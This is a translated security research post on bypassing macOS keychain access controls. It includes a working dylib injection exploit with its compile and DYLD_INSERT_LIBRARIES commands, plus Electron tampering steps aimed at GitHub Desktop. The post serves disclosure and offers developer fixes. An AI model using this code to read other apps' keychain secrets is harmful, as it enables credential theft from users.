译文声明 本文是翻译文章,文章原作者Wojciech Reguła 文章来源:https://wojciechregula.blog 原文地址:https://wojciechregula.blog/post/stealing-macos-apps-keychain-entries/ 译文仅供参考,具体内容表达以及含义原文为准
在macOS上存储机密是一个很大的挑战,可以用多种不安全的方法来完成。在漏洞悬赏评估期间,测试了许多mac应用程序,发现开发人员倾向于在首选项甚至隐藏的平面文件中放置隐秘信息。这种方法的缺点是,任何使用典型权限运行的非沙盒应用程序都可以访问机密数据。 例如,macOS上的信息存储一个密钥,该密钥用~/Library/Application Support/Signal/config.json加密所有消息数据库。
macOS的密钥链
苹果公司告诉我们,“密钥链是储存隐秘信息的最佳场所,就像密码和密码钥匙”。密钥链是一种非常强大的机制,允许开发人员定义访问控制列表(ACL)来限制对条目的访问。应用程序可以使用密钥链组授权进行签名,以便访问其他应用程序之间共享的机密。 下面的Objective-C代码将在密钥链中保存一个机密值:
bool saveEntry() {
OSStatus res;
CFStringRef keyLabel = CFSTR("MySecret");
CFStringRef secret = CFSTR("<secret data...>");
CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 5, &kCFTypeDictionaryKeyCallBacks, NULL);
CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel);
CFDictionaryAddValue(attrDict, kSecValueData, secret);
CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword);
CFDictionaryAddValue(attrDict, kSecReturnData, kCFBooleanTrue);
res = SecItemAdd(attrDict, NULL);
if (res == errSecSuccess) {
return true;
}
return false;
}
执行时,可以看到条目已经成功添加:
窃入技巧一:
第一种技术是验证应用程序是否已使用“强化运行”或“库验证”标志进行了签名。但是密钥链不能检测到代码注入,因此需要使用以下命令:
$ codesign -d -vv /path/to/the/app
Executable=/path/to/the/app
Identifier=KeychainSaver
Format=Mach-O thin (x86_64)
CodeDirectory v=20200 size=653 flags=0x0(none) hashes=13+5 location=embedded Signature size=4755
Authority=Apple Development: [REDACTED]
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=29 Oct 2020 at 19:40:01
Info.plist=not bound
TeamIdentifier=[REDACTED]
Runtime Version=10.15.6
Sealed Resources=none
Internal requirements count=1 size=192
如果标记为0x0,并且没有__RESTRICT Mach-O段(该段比较少见),则只需将恶意的dylib注入到应用程序的主要可执行文件中。 创建具有以下内容的exploit.m文件:
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void pwn(int argc, const char **argv) {
NSLog(@"[+] Dylib injected");
OSStatus res;
CFTypeRef entryRef;
CFStringRef keyLabel = CFSTR("MySecret");
CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 4, &kCFTypeDictionaryKeyCallBacks, NULL);
CFDictionaryAddValue(attrDict, kSecAttrLabel, keyLabel);
CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword);
CFDictionaryAddValue(attrDict, kSecReturnData, kCFBooleanTrue);
res = SecItemCopyMatching(attrDict, (CFTypeRef*)&entryRef);
if (res == errSecSuccess) {
NSData *resultData = (__bridge NSData *)entryRef;
NSString *entry = [[NSString alloc] initWithData: resultData encoding: NSUTF8StringEncoding];
NSLog(@"[+] Secret stolen: %@", entry);
}
exit(0);
}
编译:
gcc -dynamiclib exploit.m -o exploit.dylib -framework Foundation -framework Security
注入:
$ DYLD_INSERT_LIBRARIES=./exploit.dylib ./KeychainSaver
2020-10-30 19:33:46.600 KeychainSaver [+] Dylib injected
2020-10-30 19:33:46.628 KeychainSaver [+] Secret stolen: <secret data…>
窃入技巧二
如果可执行文件已使用Hardened Runtime签名怎么办?类似于在XPC开发系列中展示的内容。 抓取已分析的二进制文件的旧版本,该版本在没有强化运行的情况下签名,并将dylib注入其中。 密钥链不会对二进制文件的版本进行验证。 针对开发人员的建议修复程序–创建“钥匙串访问组”并将隐秘信息转移。 由于二进制文件的旧版本无法使用该密钥链组权利进行签名,因此无法获得隐秘信息。
窃入技巧三
如果设置了“强化运行时”则com.apple.security.cs.disable-library-validation将允许注入恶意动态库。
窃入技巧四
首先说明一下,TCC只是从表面上检查应用程序的代码签名。密钥链中存在相同的问题。即使整个捆绑包的签名无效,密钥链也只会验证可执行文件是否未被篡改。正如前面的窃取技巧一样,电子应用程序无法安全地存储您的隐秘信息。 即使你用强化运行时进行签署,恶意应用程序也可能会更改包含实际代码的JavaScript文件。在Github桌面上,它将用户的会话秘密存储在密钥链中: 有效签署:
$ codesign -d --verify -v /Applications/GitHub\ Desktop.app
/Applications/GitHub Desktop.app: valid on disk
/Applications/GitHub Desktop.app: satisfies its Designated Requirement
接下来,更改一个JS文件并验证签名
$ echo "/* test */" >> /Applications/GitHub\ Desktop.app/Contents/Resources/app/ask-pass.js
$ codesign -d --verify -v /Applications/GitHub\ Desktop.app
/Applications/GitHub\ Desktop.app: a sealed resource is missing or invalid
file modified: /Applications/GitHub\ Desktop.app/Contents/Resources/app/ask-pass.js
可以看到签名已损坏,但Github将正常启动并加载密钥链中保存的密钥: 为了防止被修改,它实现了一种称为完整性的机制。 它计算SHA512哈希并将其存储在Info.plist文件中。 问题在于它不会停止注射。 如果可执行文件尚未使用Hardened Runtime或Kill标志签名,并且不包含受限制的权利,则只需修改asar文件,计算新的校验和并更新Info.plist文件即可。 如果设置了这些标志或权利,则始终可以使用ELECTRON_RUN_AS_NODE变量,然后再次使用可执行上下文中执行代码。因此,它可以窃取密钥链条目。
总结
正如在本文中叙述的那样,密钥链中的安全机密存储确实很难实现。有多种方法可以绕过访问控制机制,对请求的可执行文件的代码签名检查只是表面完成的。 最大的问题是在于,这些应用程序无法将密钥安全地存储在密钥链中。任何将实际代码存储在主可执行文件之外的框架都可能被诱骗加载恶意代码。